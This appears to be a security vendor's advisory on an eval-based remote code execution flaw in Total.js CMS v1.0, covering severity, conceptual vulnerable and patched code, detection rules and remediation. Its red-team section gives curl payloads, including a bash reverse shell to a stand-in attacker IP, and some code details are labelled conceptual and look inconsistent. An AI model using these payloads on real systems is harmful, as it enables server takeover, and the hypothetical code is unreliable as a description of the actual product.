CVE-2024-48655

Executive Summary

CVE-2024-48655 is a critical, unpatched remote code execution (RCE) vulnerability in Total.js CMS v1.0. The flaw resides in the func.js file, allowing an unauthenticated attacker to execute arbitrary code on the server. With a CVSS base score of 9.8 (Critical), this vulnerability poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, but the attack vector is network-based with low complexity. Immediate mitigation is required as no vendor patch exists.

Supply Chain & Package Security

Total.js CMS is distributed via npm as total4 and total.js. The vulnerable version (1.0) is still available in the npm registry. Organizations using this package should treat it as a supply chain risk. Verify your package.json for "total.js": "1.0" or "total4": "1.0" and upgrade to a patched version if available, or implement virtual patching.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, making it a prime target for automated scanning and mass exploitation.

Deep Dive & Mechanics

The vulnerability exists in the func.js file of Total.js CMS v1.0. This file is responsible for handling dynamic function calls within the CMS. Due to insufficient input validation, an attacker can inject arbitrary JavaScript code that gets executed server-side.

Root Cause: The func.js file uses eval() or new Function() to process user-supplied parameters without proper sanitization. An attacker can craft a request that passes malicious code as a parameter, which is then executed in the Node.js runtime.

Attack Flow:

1. Attacker identifies a Total.js CMS v1.0 instance.
2. Attacker sends a crafted HTTP request to an endpoint that invokes func.js.
3. The malicious payload bypasses input filters and is passed to the vulnerable function.
4. The server executes the attacker's code, allowing for command execution, data exfiltration, or lateral movement.

Example vulnerable code snippet (conceptual):

// func.js (vulnerable)
exports.install = function() {
    Framework.route('/api/execute', executeAction);
};

function executeAction() {
    var cmd = req.query.cmd;
    // Vulnerable: direct eval of user input
    eval(cmd);
    res.json({status: 'executed'});
}

Vulnerable vs. Patched Code

Vulnerable Code (Total.js CMS v1.0):

// func.js - vulnerable
exports.install = function() {
    Framework.route('/api/run', runCode);
};

function runCode() {
    var code = req.body.code;
    // No input validation - direct execution
    eval(code);
    res.json({result: 'ok'});
}

Patched Code (Hypothetical fix):

// func.js - patched
exports.install = function() {
    Framework.route('/api/run', runCode);
};

function runCode() {
    var code = req.body.code;
    // Input validation: only allow specific safe functions
    var allowed = ['math.add', 'math.sub', 'string.concat'];
    if (allowed.indexOf(code) === -1) {
        res.json({error: 'Invalid function'});
        return;
    }
    // Use safe execution context
    var result = safeEval(code);
    res.json({result: result});
}

Key Differences:

• Removal of eval() in favor of a whitelist-based approach.
• Input validation restricts execution to predefined safe functions.
• Use of a sandboxed execution environment (safeEval).

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: Ubuntu 22.04 LTS with Node.js 18.x
• Install Total.js CMS v1.0: npm install total.js@1.0
• Start the CMS: node index.js

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /api/run).
2. Craft a payload to execute system commands:

   curl -X POST http://target:8000/api/run \
     -H "Content-Type: application/json" \
     -d '{"code":"require(\"child_process\").execSync(\"id\")"}'
   

3. For reverse shell:

   curl -X POST http://target:8000/api/run \
     -H "Content-Type: application/json" \
     -d '{"code":"require(\"child_process\").execSync(\"bash -c \\\"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\\\"\")"}'
   

Expected Output:

{"result":"uid=1000(node) gid=1000(node) groups=1000(node)\n"}

Blue Team

Detection Steps:

1. Monitor for POST requests to /api/run or similar endpoints.
2. Look for payloads containing require, child_process, execSync, or eval.
3. Check server logs for unusual error messages from func.js.

Honeypot Configuration:

• Deploy a fake Total.js CMS instance and log all POST requests to /api/run.
• Alert on any request containing require or child_process.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /api/run with JSON body containing code parameter.
• Outbound connections to unknown IPs on high ports (4444, 1337, etc.).
• Unusual DNS queries for command-and-control domains.

File System IOCs:

• Modified func.js file (if attacker overwrites it).
• Presence of reverse shell scripts in /tmp/ or /var/tmp/.
• New cron jobs or systemd services.

Log IOCs:

• Error logs containing eval, child_process, or execSync.
• Access logs showing repeated POST requests to /api/run.

Detection Engineering

YARA Rule

rule CVE_2024_48655_TotalJS_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-48655 in Total.js CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48655"
    strings:
        $s1 = "require(\"child_process\")" ascii wide nocase
        $s2 = "execSync" ascii wide nocase
        $s3 = "eval(" ascii wide nocase
        $s4 = "new Function(" ascii wide nocase
        $s5 = "/api/run" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4) and $s5
}

Sigma Rule

title: CVE-2024-48655 Total.js CMS RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable /api/run endpoint with malicious payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/run'
        cs-uri-query|contains: 
            - 'require'
            - 'child_process'
            - 'execSync'
            - 'eval'
    condition: selection
falsepositives:
    - Legitimate administrative use (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-48655 Total.js CMS RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/run"; http_uri;
    content:"require"; http_client_body;
    content:"child_process"; http_client_body;
    content:"execSync"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-48655;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect Total.js CMS v1.0 instances from the network.
2. Virtual patching: Deploy WAF rules to block POST requests to /api/run with suspicious payloads.
3. Input validation: If source code is accessible, modify func.js to remove eval() and implement whitelist-based execution.

Long-term Fix:

• Upgrade to a patched version of Total.js CMS (if available) or migrate to an alternative CMS.
• Monitor vendor channels for official patches.

Compensating Controls:

• Implement network segmentation to limit exposure.
• Enable detailed logging and alerting on all administrative endpoints.
• Conduct a full security audit of the CMS installation.

Valters IT